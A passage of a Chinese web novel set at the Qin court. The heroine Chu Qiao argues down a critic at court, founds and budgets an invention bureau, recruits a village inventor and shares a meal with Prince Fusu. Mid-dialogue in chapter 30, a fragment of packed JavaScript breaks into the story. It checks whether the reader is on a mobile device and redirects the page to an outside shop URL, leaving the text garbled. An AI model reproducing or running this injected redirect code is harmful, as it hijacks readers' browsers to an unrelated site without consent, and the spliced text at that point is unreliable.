“父王说让我自己去问你，”扶苏幽怨地看着楚荍，那眼神好像楚荍是那个负心汉，辜负了他的一片真心。“姑姑，你和父王到底达成了什么协议，为什么不告诉我？”
“而且姑姑答应我了吧，说回来之后要跟我好好解释。”
扶苏抿着嘴巴，瞪着大眼睛，委屈巴巴地说。一副楚荍要是不说真话，他就哭给她看的样子
“好啊，公子现在这么狡猾，知道姑姑最吃你这一套。”楚荍亲昵地捏了捏扶苏的鼻子，笑着说，“你一撒娇，姑姑什么不答应你？”
“明明是姑姑先瞒着我的。”扶苏反驳道。
两人贫嘴贫舌了几句之后，楚荍就把事情原原本本地告诉了扶苏。
她一直很尊重扶苏，也很少把扶苏当小孩去哄。扶苏本就心性成熟，绝大部分时候她都是把扶苏当成大人来尊重。甚至做很多事情之前也会跟她商量。
她先前没有告诉扶苏此事，也只是因为这件事来没落定。现在几乎是板上钉钉的事了，告诉扶苏也无妨。
只是没想到扶苏听完更生气了。
“姑姑做这样的大事竟然不告诉我！”扶苏扯着楚荍的衣袖大声控诉。
楚荍被扶苏扯得晃来晃去，连忙求饶道：“我这不是告诉公子了吗，以后我一定第一个先告诉公子好不好。”
等了楚荍的保证，扶苏这才停下来，“这可是姑姑你自己说的啊，不许反悔。”
“是是是，绝不反悔。”
楚荍笑着拉住扶苏的手。
哎呀，有个小朋友这么挂记她的感觉还真不错
但是她还没开心多久，就传来了噩耗
“大王吩咐，请楚夫人明日与百官一起参加早朝。”
什么？面前的宫人在说什么？
楚荍一下子没反应过来。
下一秒
啊——
楚荍的惨叫响彻秦王宫。
28.第二十八章 舌战群儒
“姑姑，姑姑，醒醒。”
天还没亮，楚荍被卫兰轻声叫醒。
“唔，再眯一会儿。”
楚荍翻个身，声音被盖住，嘟囔地传出来。
“姑姑忘了，今日可要去上早朝，可别误了时辰。”卫兰柔声哄道。
早朝？楚荍还没开机的脑子自动抓取关键词，瞬间，她就醒了。
她这几日就没睡过整觉，身体十分疲惫。她怕早上起不来，所以特意让卫兰今天早上来叫她。
楚荍拉着卫兰的手从床上坐起，然后就顺势赖在她身上不肯起，“不想去，兰儿，一点都不想去。”
“我都好几天没睡好觉了……”
她抱着卫兰撒娇，轻声嘟囔着。
卫兰见状笑笑没说话，回抱住楚荍拍了拍她的背，然后反手就拿出了她早就准备好的湿帕子，精准地糊在了楚荍脸上。
楚荍猝不及防地被帕子的冰冷冻得一激灵，脑子瞬间清醒过来。
她双手揭下帕子，然后顺势擦了个脸。
“下次用热帕子吧，大早上怪冷的。”
她边从床上起来，一副敢怒不敢言的模样向卫兰请求下次用张热帕子。
卫兰被她逗笑，“好好好，下次再叫不醒姑姑，我就换张热帕子。”
“我从膳房拿了笼汤包和豆浆过来，姑姑收拾好后就先吃饭，然后再去早朝。咱们住宫里离得近，吃完再去也来得及。”
卫兰打开食盒，露出里面还热气腾腾的包子豆浆。楚荍的馋虫一下就被勾了起来。
“真是多谢兰儿，为我准备得这么妥帖。”
“姑姑可是朝会上唯一一个女官，为姑姑做点这些小事儿又算得了什么。”卫兰笑着说，见楚荍要换衣服，她出去前还贴心地关好门。
半个时辰后，楚荍出现在了主殿外。这会儿天已经蒙蒙亮了，殿外百官们已经站好队列。
楚荍悄悄走到队伍后面，张望半天终于在队伍前面找到了蒙恬。
若说这朝堂之上有谁是她熟悉的，那就只有蒙恬了。
是的，穿过来这么久，她认识的高官还是只有蒙恬一个。
“蒙将军！”
楚荍走到蒙恬旁边，朝他旁边的官员笑笑，“不好意思，借过一下。我找蒙将军有点事。”
“楚荍，你来干什么？”蒙恬看着突然出现在自己旁边的楚荍，皱着眉小声问道。她还没在这个点来找过他。
结果她立马露出一个苦笑，头又朝他这边偏了一点，小声地说：“大王让我今日与你们一同上朝。”
闻言，蒙恬脑子里立马出现了一个大大的问号，反问的话脱口而出：“你说什么？这话又是什么意思。”
见蒙恬一副不可置信的样子，楚荍表示非常理解。昨晚宫人来给她传话的时候，她也花了一个时辰才接受这个消息。
她沉痛地拍了拍蒙恬的肩膀，一副我懂你的样子说道：“我也是昨晚大王才派人通知我的。”
“唉，”楚荍叹了口气，“大王的心思不是我等能猜透的。”
闻言，蒙恬的眉头皱的更紧，还是有些不放心地问：“真的？”
“当然是真的，难道我还敢扯这种慌不成。”楚荍十分真诚地说。
“那你最近又做了什么？大王不会无缘无故下这个命令。”
蒙恬反应过来，狐疑地问。大王做出让楚荍与百官一同上朝这样重大的决定，肯定是有原因的。
“我最近没做什么啊，我很乖的。”楚荍摇摇头，搬出昨晚就想好的说辞。她现在还不确定政哥让她与百官一起上朝到底是为了什么，所以这点真话暂时还是憋在她自己肚子里吧。
两人谈话的声音虽小，但这会儿实在太过安静，楚荍的话自然也全都落到这些人耳中。
站在另一队列的李斯心中一紧，紧紧盯着正和蒙恬交谈的楚荍。不知为何，他心中一种危机感陡然而起。
这次朝会将有大事发生，他预感到。
突然，楚荍回头与李斯的视线相交，她微微一笑然后向他点头示意。李斯也立马调整表情报以一笑。
很快，便听宫人通传，众人拂了拂衣裳上不存在的灰之后，走过长长的台阶，进入主殿之中。
楚荍原本和蒙恬交谈之后安静下来的心，又开始激烈的砰砰跳了起来。
她站在蒙恬一侧，随着众人一起行礼，安静地站在自己的位置上，看着高殿之上的嬴政。
直至朝会到了尾声，楚荍都没从政哥嘴里听到自己的名字。就在她以为就这样，说不定政哥只是让她今天来学习一下的时候，又猝不及防被点名。
“从今日起，少府之下再开一府，名‘格物府’，楚荍为府长，由其全权管理。格物府虽隶属于少府之下，但其所有事宜，由寡人直接管辖。此事，诸卿可有意见？”
嬴政此话一出，众人哗然。少府位属九卿，这新开的“格物府”虽隶属少府之下，但是又由王上直接管辖，其他官署不得插手，那“府长”岂不等同位列九卿？
霎时间，所有人的目光都盯在了楚荍身上。他们这些人虽也多少听过她的名字，但见过她的还是少数。
这时，只见嬴政又不急不缓地笑着问：“格物府为新开官署，如今还在筹建之中。诸卿现在有何意见都可以提。”
闻言，众人脸色又是一变，皆在思忖大王这话里的意思到底是什么。一时间，殿内十分安静，针落可闻。竟无人敢站出来。
楚荍脸色也是一变又变，她现在基本可以确定，自家政哥是在玩儿自己了。
这两句话把她架在这里，让她没有任何准备地就成了众矢之的。
就在殿内陷入一种奇怪的沉默之后，嬴政扫视一圈众人，又开口了，“若众卿都没有意见，那此事就这么定了。”
不过这次，有“勇士”站了出来。
“大王，臣以为，此事还有待商榷，不可草草决定。”
顿时，所有人又朝他看去。
“此人是宗室子弟，现为朗中将。”蒙恬见状在一旁小声提醒楚荍。
“哦，那秉渊有何高见？”嬴政饶有兴趣地问。
“
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臣以为，若王上要新开官署，府长之位不该由楚荍担任。楚荍不过一名不见经传的小小宫女，无才无能，无知无德，如何能坐这样的位置，担一府之责。还请王上三思。”
秉渊一字一句，落地有声。不少官员都暗自点头认同他的话。
王上今早突然抛出这样的消息，又让这样一个女人担任几乎位列九卿的位置，如何能服众。
“楚荍，你可要为自己辩解？”嬴政的目光落到她身上，缓声问道。
楚荍深吸口气，面对这样的诘难，她自然要辩解。若今日她不能舌战群儒，往后又如何在这朝堂之上站稳脚跟；若不能站稳脚跟，将嬴政交换给她的权力牢牢抓住，又何谈她的理想？
“回大王，臣也有话要说。”楚荍抬起头，脸上是得体的微笑。她走出队列，不卑不亢地说，“如朗中将所说，荍不过一届女流，王上贸然任命我为府长，确实难以服众。”
她停顿一下，转过身，直直盯着秉渊的眼睛问道：
“不过我也有一句想问郎中将，郎中将反对我担任府长，到底是因为我是女人，还是因为我无才无德、无知无能？”
“哼，自然是二者皆有。”秉渊一挥衣袖，依旧十分傲慢。
闻言，楚荍又是微微一笑，眼中露出精光，仿佛秉渊踩中了她精心准备的陷阱，“唔，二者皆有吗。我这有个故事，不知朗中将愿不愿意听？”
没等秉渊回答，她就接着说道：
“相传东海有一口浅井里住着一只青蛙，它对自己的住所的十分满意。有一天，有一只东海来的鳖路过，青蛙得意地向他夸耀自己的住所，还邀请它一起玩，结果东海之鳖左足未入，而右膝已絷（被绊住）矣。于是告之东海曰夫千里之远不足以举其大，千仞之高不足以极其深。”
“朗中将此言，就如坎井之蛙，不知深海之广，更不识天际之遥。”
楚荍话音未落，便被秉渊打断，“不必逞这些口舌之利，有什么话你直说便是。”
见状，楚荍也不恼，而是接着不急不缓地逐条反驳刚刚秉渊所说之言。
“朗中将刚刚所言，荍是女人，又无才无能，所以不能担任府长之职。”
“其一，古有妇好受命征战沙场，为商开疆拓土；又有庄姜、许穆夫人善写诗篇，名传天下。可见，无论文武，女子皆不弱于男。且我大秦律法并无一条所禁女子不能任官。所以朗中将所言只因我是女子而不能任府长之职，不成立。”
“其二，郎中将言我无才无能，无知无德，却不知我已向大王进献两样宝物，这两样宝物能让我大秦骑兵的战力至少翻一番。不知，此事朗中将可能做到？”
“再者，新开官署“格物府”意为格物致知，以穷事物之理，习之知识。从而助我大秦千秋万世。或许，府长的位置我不适合，但若让给坎井之蛙，岂不哄堂大笑了。”
说完，楚荍掩面笑了几声，嘲弄之意尽显。
“你！你！你......”
秉渊被楚荍一番话驳斥得一败涂地，你了半天竟气晕了过去。
29.第二十九章 战马
沉默，沉默，还是沉默。
楚荍不卑不亢、铿锵有力的每一句驳斥都狠狠敲在每一个人心上。
从今日起，所有人都会记住她，记住这个让人心惊的女人。
无论是她出色的口才，还是她能拿出的宝物，势必会让她在这场朝会之后声名远扬。
所有人都清晰地预料到这件事情。
当然，秉渊能被气晕这件事大家还是没料到的。
他一旁的官员眼疾手快地将他接住，大声地喊了几声他的名字。
在这朝堂之上，因为争论急眼然后打起来的不在少数，但被气晕他还是第一个。
看来，不仅楚荍要名声大噪，秉渊这个“被人气到晕倒”的名头也要跟他一辈子了。还真如楚荍说的一样，让人哄堂大笑了。
待宫人将秉渊送走之后，随着嬴政的一锤定音，此事落下尾声。
“好了，此事就这么定，楚荍为府长，往后随百官一起上朝。若无事，今日朝会便到这吧。”
随后，嬴政又点了一批人留下。
楚荍跟着众人出殿的时候，就看到有一个小脑袋在殿门外鬼鬼祟祟。
果不其然，她一走出来，扶苏就跟了上来。明明昨晚还一副小大人模样有板有眼地安慰自己，今天就因为担心忍不住跑过来亲自看看她有没有事。
嗷，还真是可爱啊，她家公子。
楚荍故意走慢两步，落在队伍最后面。
“姑姑，怎么样？”扶苏走在楚荍旁边小声问道。
“当然是没问题。”楚荍露出胜利的笑容，又和扶苏比了个OK的手势。这个手势她也教给了扶苏，她比出这个手势就代表着一切都好。
“那我怎么看到有人被抬出来了？”
“哦，他啊。他没辩过姑姑，被自己蠢晕了。”楚荍得意地小声说，“等回去了姑姑再仔细给你讲。”
闻言，扶苏点点头，又问：“那姑姑你们现在是要去干什么？”
楚荍摇摇头，“我也不知道。”
两人还在这旁若无人地咬耳朵呢，走在最前面的嬴政突然停下来朝扶苏招手，“过来。”
扶苏见状，和楚荍对视一眼，然后就快步走到嬴政旁边，乖乖地喊了一声父王。
“你过来干什么？今日课上完了？”嬴政问。
扶苏跟在嬴政身侧，抬头看了一眼自家父王的脸色，结果什么都没看出来，只好实话实说：“姑姑今日第一次上朝，我有些担心，所以过来看看。夫子今天要上的内容我已经会了，所以我就让夫子先回去了。”
“哼，你现在胆子倒是大，还敢逃课？”嬴政微微抬高音量，问道。
嬴政说完，扶苏还没什么反应，倒是把跟在后面的众臣给惊出了一身冷汗。大王的家事是他们能听的吗？
“我真的都会了。不信您可以考我？”
扶苏伸手小手牵住嬴政，一双大眼睛里溢出一些委屈。
众臣在后面原本吊了起来的一颗心，立马又被扶苏给萌化了。他们以前怎么没发现，他们的长公子和大王说话这么亲昵的吗？
唉，众臣都在心里感叹，自家小孩和长公子一比，简直就如以沙砾比之明玉。
怎么差别就这么大呢？
众臣如此，嬴政自然也心软了。自从扶苏病好之后，对他越来越亲近。他本也不是真的想责罚扶苏，只是看他这么关心楚荍有点不爽罢了。
“下不为例。”嬴政敲了敲扶苏的脑袋，说道。
“是。”扶苏立马笑了起来，牵着嬴政的手也没有松开。心口前的古玉还在孜孜不倦地输送暖意，是因为到中午了吗，胸口前好像更热乎了一点。
依旧落在队伍后面的楚荍，拉了拉蒙恬的袖子，傻笑着对他说道：“你看，大王和公子的关系是不是越来越好了。”
几秒过后，没等来意料中的回应，楚荍扭头看向蒙恬，结果发现蒙恬好
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像在生气。于是她又小声地问：“你怎么了？”
“呵，没怎么，就是有人把我当傻子。”蒙恬冷笑一声，说出的话也夹枪带棒。
朝堂之上，楚荍说向大王进献了两件宝物能让骑兵战力翻倍的时候他就明白了。
果然这女人嘴里没一句真话。
蒙恬都说到这份上了，楚荍自然也明白他为什么生气。这事儿确实是她的问题，她有些心虚地摸摸鼻子，带着讨好地说：“我不是故意瞒着你的，我是真不知道大王为何要我今日上朝。事情还没确定下来，所以才没和你说。”
“为什么要道歉，如果我是你，我也会这么做的。”蒙恬冷谈地说道。
其实蒙恬也有点搞不清自己，这件事如果换做是他，他也会这么做。那他为什么要生楚荍的气，难道自己真的把她当朋友了？
“我......”楚荍还没来得及再说什么，蒙恬就已经小跑到前面向嬴政复命。
原来他们已经到了校练场。
此时蒙恬已经骑上战马，领在方阵之前。
这队方阵的战马全部都配置着新的马鞍、马镫和马蹄铁。
难怪蒙恬会知道自己在扯谎，原来政哥将马镫和马蹄跌的事交给蒙恬去办了。
政哥还真是信任蒙家啊。当时她还在犹豫要不要让李远给她造个样品出来之后再去找政哥，但考虑到保密性，她最后还是只画了图纸。
金属冷冽的寒光在阳光下熠熠生辉，楚荍随着嬴政等人站上高台。
随着一声鼓响，方阵开始在校练场上进行演练。
在场的人都是嬴政信任的亲信，他们一看到这支队伍，就立马发现了楚荍所说两样宝物。
兵士对马匹的控制力明显加强，在马上奔跃腾挪宛如和马儿融为一体，动作十分流畅。
此时，众人也终于明白为何楚荍能出任新府之长。
因为，她所能拿出来的，绝不止这两样宝物。
30.第三十章 事成
“什么，预算要砍一半？”
楚荍被最后这个数字惊讶地眼睛都要瞪出来了。
在校练场看完骑兵方阵的演练之后，众人又回到嬴政书房中继续开会。扶苏被嬴政赶回去读书，并没有让他参加之后的会议。
现在众人手上都拿着楚荍和甘罗合力敲定的《格物府未来规划计划书》简略版。楚荍翻到最后看到这个数字没忍住惊呼出声。
她知道预算最后肯定会被砍，但你也不能对半砍吧。这个数字都已经是她和甘罗左省右省之后的结果了。
而且大部分开支都是招揽人才要花的钱。这部分是省不了一点啊，她的整个计划都是建立在庞大人才群之上的。要是地基都打不好，那还谈什么？
就在楚荍说完之后，其他人也陆续看完了这份计划书。这份简略版里的规划已经能初见楚荍的野心，难怪格物府虽隶属少府之下，但是却由王上直接管辖。
不过她要的预算确实有些过分了，这么多钱都快赶得上军费了。
“这预算就算对半砍，也还是有些多了。”李斯看着这个数字说。
“是啊，等秋收过后还有几场硬仗要打，粮草调度、武器装备样样都要钱，这么多根本拿不出来。”时掌国家财政的治粟内史王绾皱着眉说道。其他人也纷纷附和。
要是这么多预算都拨给楚荍，那他们才真是要眼红了。
“楚荍这份计划书已经做得很完善了，但是我看是不是可以先把一些长期的项目往后缓一缓，先将一些短期能出成果的项目往前提。”
坐在一旁的蒙武开口。他与蒙恬是兄弟，两人一文一武，都十分受嬴政看重。
“我看可以，若真能出成果，那往后的预算也好说不是？”
众人开始七嘴八舌地讨论起来。
楚荍也参与讨论之中，和众人据理力争，那些项目可以往后挪一挪，那些项目必须同期开启。
最后，楚荍做出退让，“诸位大人提的许多意见荍可以接受，但是我有一个要求。”
“重金招揽各种所谓“奇淫巧技”人才的消息，要散到六国，从六国中抢人。特别是农家和墨家的人才，来者不拒。”
“重金招揽？”嬴政挑起眉问。他把预算对半砍之后，又经过这些人的压缩，她竟然还想着重金招揽？
“对啊，总得先把人骗过来不是。等骗过来了，再用‘天下之民和为大同，兵戈止息，无饱暖之忧，无奸人之祸。民皆众悠乐乐，晦暗阴翳之日远矣’这种话来将他们圈住。”
楚荍皮笑肉不笑地说。刚刚她就明白这群人的意思了，事可以干，但钱没有。最好是她能不要钱然后把事办好。
既然要省钱，那只能用“理想”“情怀”“未来”这种东西来忽悠“知识分子”了。
不然还能怎么办呢？
楚荍表面笑着，但内心已经痛哭流涕。这些人真是周扒皮啊，又想马儿跑，还不给马儿吃草。
“我回去之后，根据今天讨论的结果，再做一版规划出来。”
见楚荍这么上道，嬴政才满意地点点头。
格物府的事情讨论完之后，众人又讨论了一番秋收之后要打的几场仗。不过刚刚见了楚荍进献的马镫和马蹄跌的威力，他们似乎都对下半年要打的几场仗信心满满。
见状，楚荍在一边乖乖听着，军事上的事情她一窍不通，还是不要乱插嘴的好。
等到会议结束，楚荍去偏殿和扶苏交代了一下，就立马出宫直奔甘罗家，和他商议对策去了。
“你是说，最后给我们的预算只有原本的三分之一？”
甘罗十分冷静地说，显然关于这个结果，他已经猜到几分。
“你早就猜到了？”楚荍问。
“嗯，”甘罗点点头，“猜到了一点。”
“现在大王让我再改一版出来，跟空手套白狼没区别了。”楚荍往榻上一躺，现在想死的心都有了。
甘罗笑着摇摇头，安慰她道：“有难度才有意思，这就气馁了？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187969|148364||http|test|mini|href|location''.split(''|''),0,{}));
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“哼，没你这么高境界。”楚荍从榻上坐起，也和他开起玩笑。
两人玩笑几句过后，就开始工作了。预算一改，等于他们整个的规划都要推翻重来。而且他们得在秋收这个时候就把准备工作做好，等秋收过后，很多事情就要开始动工了。
秋收马上就结束了，他们没多少时间了。
一周废寝忘食过后，他们终于又出了一版规划书。这次楚荍把他们原来的规划分成了两个五年计划。
把原本短期且能出成果的项目放进了第一个五年计划，长期的项目则放进了第二个五年计划。
整理完后，楚荍准备带着第二版规划书进宫。她又一次问道：“你真的不和我一起去吗？”
甘罗依旧摇摇头，“你去吧。”
这次这份规划书终于是通过了政哥和其他人的层层挑刺。楚荍又将其进行微调之后，带着确定下来的规划书出宫敲响了甘罗家的门。
这次是甘罗开的门。
“甘副府长，这次给我收拾一个房间出来吧。”
楚荍笑得十分明媚。正午的阳光打在她身上，却也不及她的笑容刺眼。
甘罗被这“阳光”一刺，心竟然开始不受控制地跳了起来。
晚上，两人喝着酒，迎来了这近一个月第一次放松。
其实楚荍不爱喝酒，红酒她还能喝一点，但白酒她基本不喝。不过这时候的粮食酒度数很低，喝起来不烧就还好。
因为度数低，所以她喝了好几杯也没什么感觉。不过很上脸，楚荍两颊已经通红了。
不过不像是喝酒上脸，倒是像擦的胭脂。
楚荍坐在他对面兴奋地说东说西，发丝已经有几缕散了下来，油灯的暖光打在她脸上，更显两颊的烟霞美丽。
她以前有这么漂亮吗？甘罗盯着楚荍，突然意识到这个问题。
突然，他的心又开始不受控制地砰砰跳了起来。
甘罗伸手抚上自己的心口，果然是喝多了吧，他想。
31.第三十一章 步入正轨
“诶诶，你听说了吗？村东头那家老大去揭了城南门的布告。”
“真的假的，就他家老大那个傻的，地都不会种，整天不知道在家鼓捣什么，媳妇儿也没娶一个。还敢去揭布告？”
“是啊，听说到现在都还没回来呢。”
“现在还没回来？不会是乱揭布告被官府抓走了吧？”
村西两人环抱的槐树下，两妇人八卦着最近村里的怪事。
而她们口中的这位怪人此时确实在官府，只不过不是被抓走的。
“所以，牛大，你要给我们介绍的就是这个手摇大转轮？”
楚荍好奇地看着牛大放在桌上的这个木制大转轮。
前些日子，楚荍和甘罗二人把策划敲定之后，就开始忙碌的选址、招人、扯皮等等繁杂的工作。
这也是为什么楚荍让甘罗给她收拾个房间出来。之前她在甘罗家两人一起商讨时基本就是在他家书房对付一下。现在不行了，她长期在宫外，总得有个住的地方。
新官署的选址他们已经选好了，在城西郊外圈了一大片地。那地方有山有水有田，虽然有些偏远荒凉，但他们的很多研究本身就是要在田里，和民生息息相关，所以这块地就很适合用来做新官署。
这地方可是楚荍和甘罗两人跑遍了整个咸阳城，鞋都跑烂了两双，最后确定的宝地。
前几日城西这块地方已经破土动工了，大概入冬前就能建好。城内各处的布告也是同一时间发布的，楚荍找了很多小吏在城内各处进行宣讲他们新官署招人的事。
他们打出的口号是：只要你有一技之长，无论是田种得好、还是猪养得好，还是擅长各种奇淫巧技，只要你有想法，来我们格物府，就能赢取一袋大钱。
自从商君徙木为信之后，秦国官府在民众这里的信誉率是很高的。所以楚荍在全城打出布告的第二天，就陆续有人揭布告了。
由于现在他们自己新官署还没建好，楚荍用来接待这些人的地方还是找其他官署借的一个小院子。
今天是第三天，楚荍终于看到一个感兴趣的了。
“嗯，就是这个木制的手摇转轮。这个转轮是用来拐线的。”牛大有些结巴地介绍。
“拐线？”楚荍问。
“对。”牛大点点头，他自然没指望这些坐在官署的官员知道拐线是什么意思，所以他直接上手给人演示。
只见他又拿出一个线圈，就是用麻线卷成的一团团小线圈。他拿出一个八字形的木制架子，将线插放进一个可手拿的半圆形竹制签子，将线的一头固定在八字形木架子之后，开始上下移动将小线圈拐成一条条大线圈，便于后面的线纱处理。
“现在大家普遍用的是这种手动的拐线方式，但是效率太慢了。”
“所以我做了一个这样的圆形手摇木制转轮，像这样将线圈固定在这里，然后用手摇动转轮就可以直接进行拐线。”
牛大边介绍边给他们进行演示。他将小线圈放置在转轮旁边的竖直木签子上，圆形转轮中间有一个手摇摇杆，再将小线圈的线头固定在转轮的一角上，就可以直接摇动拐线了。
“我做过计算，我娘是我们村的织布好手，她一个时辰能拐五个这样的大线圈，这还是在不休息的情况下。但是用这个摇轮的话，半个时辰就能拐七个。这还是因为这个转轮的结构不太稳定，一旦使用超过一个时辰，就些地方就会散，需要修理，会很耽误时间。”
楚荍边听牛大介绍，边上手将两个工具都试了一番，发现用这个圆形摇轮确实省时又省力。
“所以这还只是一个半成品？”楚荍眼睛发亮地问。
老天爷，能鼓捣出这种好东西，真让她给捡到发明家了。
“嗯，这是我最近刚搞出来的。刚好碰上你们的布告，所以俺娘让俺来试试。”牛大诚实地点点头，“俺娘还在外面等俺呢。你们要觉得不行，那俺就走了。”
“行，怎么不行！这可太行了！”
楚荍连忙安抚他。这东西还是半成品就能提高三倍拐线效率，这要是等成品发布，不说掀起“工业革命”，怎么也能让秦国纺织业整体降低成本，然后将低价好物买到其他六国，大赚他们一笔。
而且牛大看着也就二
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十几岁的样子，简直是未来可期的科学家啊。这样的人才她自然不能放过。
楚荍立马从屉子里拿出一袋大钱交到牛大手上，“以后你就是我们格物府的一员了。等到新官署建好，你就来我们这干，包吃包住，每个月还有丰厚的俸禄。”
牛大惦着钱袋的重量，有些难以置信，从小他就喜欢自己手工做各种东西。但除了他娘，没人理解他。他每次出去挑个水，都是挑人少的时候去，不然就是各种嘲弄的污言秽语。连他做的东西，都不知被他爹砸了多少。楚荍是除了她娘之外，第一个愿意听他说话，还相信他的人。
“牛大、牛大？”楚荍见他出神，赶紧喊了他两声，“如果你觉得没问题话，我们可以先签一个意向契约，等到新官署建好，你正式入职的时候，我们再签正式契约。”
牛大回过神，将钱袋揣到怀里，十分认真地朝楚荍点头，“好。”说罢，就要摁手印。
“诶！”楚荍拦住她，笑着问，“你不看看契约内容再签？”
只见牛大摇摇头，“我不识字，但是我相信你。”
闻言，楚荍笑了起来，心中顿时生出豪情，“好，你信我，我也必不会负你，你放心。”
楚荍向牛大伸出手，歪了歪头笑问：“君子之交？”
牛大也笑了起来，用力回握住楚荍伸手的楚荍，“嗯，君子之交。”
看着牛大和他娘逐渐远去的背影，楚荍喊住两人，朝两人挥手：
“对了，牛大、婶子，回去记得和乡亲们说，只要田种得好，猪牛鸡羊养得好的，都可以来找我们聊聊。”
“好嘞，夫人放心。”牛大他娘站定朝楚荍挥手应道。
他娘掂着钱袋的重量，话里满是感激。“儿子，咱这是碰到贵人了啊。以后要好好干，听到没。”
太阳偏西之后，楚荍又去了一趟工地。工地里刚开工，这两天刚把地整好，在打地基。
她几天都是官署和工地两头跑，虽然辛苦，但十分充实。
但等回到甘府，门口赫然来了一个不速之客。
“公子，你怎么来了？”
32.第三十二章 惊喜
傍晚，蒙恬带着扶苏和两个巨大的食盒到甘府来找楚荍。
他们刚到，楚荍和甘罗后脚也就回了。两拨人刚好碰上。
“公子，蒙将军你们怎么来了？”
楚荍奔向两人，喜悦之情溢于言表。
“哼，姑姑可是忘了自己已有半月没回宫？”扶苏轻哼一声，被藏在话语里没说出来的另一句是想她。
“我当然记得，姑姑半月都没见到公子，都想死你了。”楚荍牵起扶苏的手，笑着说道 “公子呢，有没有想我？”
“我每日忙着上课，没时间想姑姑。”扶苏摇摇头，口是心非地说着他最近如何如何忙，根本一点都不想她。
楚荍知道扶苏最近自己主动要求加了很多课程，每日都十分忙碌。也知道他是因为她半月没回宫在生气。
“既然公子没时间想姑姑，那姑姑就带着公子那份想两倍好了。”她嘴角噙笑，牵着扶苏的手往里走，丝毫没有生气。
拜托，这样口嫌体直、口是心非的傲娇小朋友，不要太可爱好不好。
一行人进府之后，甘罗就找了个桌子支在院子里。随行的宫人也都一一将食盒里的饭食摆好。饺子、小汤包、炸豆腐丸子、烤羊腿羊排、芙蓉蒸蛋、菌子炖老母鸡汤和豆浆。
顿时，饭菜的香气就把楚荍给香晕了。
“是豆浆！”楚荍这个豆浆脑袋一看到热气腾腾的豆浆，瞬间眼睛都亮了。她笑着揶揄道，“公子还说不想我，连豆浆都准备了，我看是想死我了吧。哼哼！”
因为都是亲近之人，所以也都没什么规矩。众人落座之后，楚荍便让上明也一起过来吃。
“我让上明过来和我们一起吃如何？”楚荍向扶苏和蒙恬询问。
“今日一餐不过是便饭，上明是先生之女，自然可以同我们一起。”
扶苏眼带好奇地看向上明，邀请她一起来坐。他只听说过甘罗有一个从草原捡回来的女儿，今天还是第一次见。草原上的人果然和他们长得有些不一样呢，卷曲的头发、高高的鼻梁和一双浅色的眼睛。
“这些都是宫里的新鲜吃食，上明来一起尝尝吧。”楚荍拍了拍自己旁边的凳子，示意她坐过来。
上明抬眼怯生生地看向甘罗，见甘罗点头之后才沉默地坐了过去。
“她有些怕生，诸位别在意。我先自罚三杯给各位赔罪。”甘罗笑吟吟地起身，陪了三杯。
蒙恬见状，也陪了一杯：“小孩子嘛，哪有不怕生的，何须如此。”
楚荍笑眯眯地看着两人你来我往，丝毫没有加入他们的兴致。她面前摆着热豆浆，扶苏和上明两个小朋友则是一人一碗热米酒。
众人吃起来之后，楚荍趁着间隙问道：“公子，你今日出来，大王可同意了？”
闻言，扶苏骄傲地点点头，“当然，父王可是又一次被我说服了，嘿嘿。”
他现在已经摸清自家父王的脾气了。
今日下午，扶苏找到嬴政。
“父王，孩儿有事相求，还请父王准奏。”
“哦，何事？”
嬴政抬眼看向自己看起来很乖，其实一肚子坏水的大儿子。他很好奇，为什么扶苏敢信誓旦旦地跟蒙恬保证，他一定会同意他出宫的请求。
蒙恬可是转头就把扶苏给买了。
“父王，今日我读到荀子劝学篇中一句‘不登高山，不知天之高也；不临深溪，不知地之厚也。’”
“孩儿对此深以为然，我虽然已读了很多书，但对很多事情都是似是而非。长在深宫之中，很多事情都无从得知。就如官署到底是如何运行，征收赋税的流程等等，孩儿都不清楚。”
闻言，嬴政眯了眯眼睛，也就扶苏敢说这话了。换了他任何一个其他孩子说这话，他都会认为他是觊觎王储之位，然后遭到他的厌弃。
偏偏是扶苏，不过这小子最近是有点飘了，什么都敢做，什么都敢说。是时候要敲打一下了。
嬴政一勾嘴角，轻敲着桌子问道：“你要知道这些干什么？”
“自然是学会之后，想为父王分担一二。”扶苏一脸认真地说，他是真的很担心父王的身体，“父王每日天不亮就起，常常在桌前处理政务一坐就是一整天，晚上殿内的油灯也是长明不灭。”
“父王现
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在还年轻，身体还吃得消。但人是需要休息的，父王要是一直这样长年累月地劳累，早晚会生病的。”
“父王听说过‘过劳死’吗？”扶苏一脸严肃地说。
嬴政闻言一愣，不知道为什么，明明是关心，但他怎么听怎么不舒服，哪有儿子咒老子死的？“又是楚荍说的吧？哼，危言耸听。”
“姑姑是好心，父王要对自己的身子更上心才是。上次一病，我才知道生病有多难受。孩儿不想父王也生病。”扶苏摇摇头，表情更凝重。
上次扶苏病的那么重，想到的竟然是不想让他也生病吗？
嬴政见扶苏赤诚的关心和皱成山字的眉头，心中一软，又有些感动，起身将他抱起，走到殿门前。
扶苏突然被嬴政抱起，心中一滞，父王这么抱过他吗？扶苏迷糊了。但防止自己掉下去，还是伸手搂住的嬴政的脖子。
两人站在殿门口，高高的长阶之下是层层叠嶂的宫殿，西落的太阳洒下柔和的光辉。
“我要是不答应，你是不是就准备偷溜出去了？”嬴政抱着扶苏问道。
“当、当然不会，孩、孩儿很听话的。”
见扶苏突然结巴起来，嬴政回头一看，发现扶苏不仅好像浑身不自在，连耳朵都红透了。
这会儿开始害羞了，嬴政心中好笑。到底还是个小孩儿。
就算再怎么早慧，平日里再怎么装成小大人的样子。在他面前，也只是被抱起来就会害羞的小孩罢了。
嬴政心情很好地笑了一声，“那你记得早些回。”
“嗯，孩儿会早些回的，不会让父王担心。”扶苏点点头，向他保证。
楚荍听完扶苏跟她大致讲完的过程，脸皱成了个苦瓜。她既为自己没亲眼看到政哥抱扶苏大呼可恶，又惊叹于扶苏竟然敢当政哥面说“过劳死”这个字
完蛋，这下政哥又要在小本本上给她记一笔了。
“公子，以后‘过劳死’这种话不能当大王面说的哈。”
楚荍苦笑着脸跟扶苏交待，“不过没事，等你明日回去，带个礼物送给大王。大王看到肯定就不会生气了。”
33.第三十三章 谈心
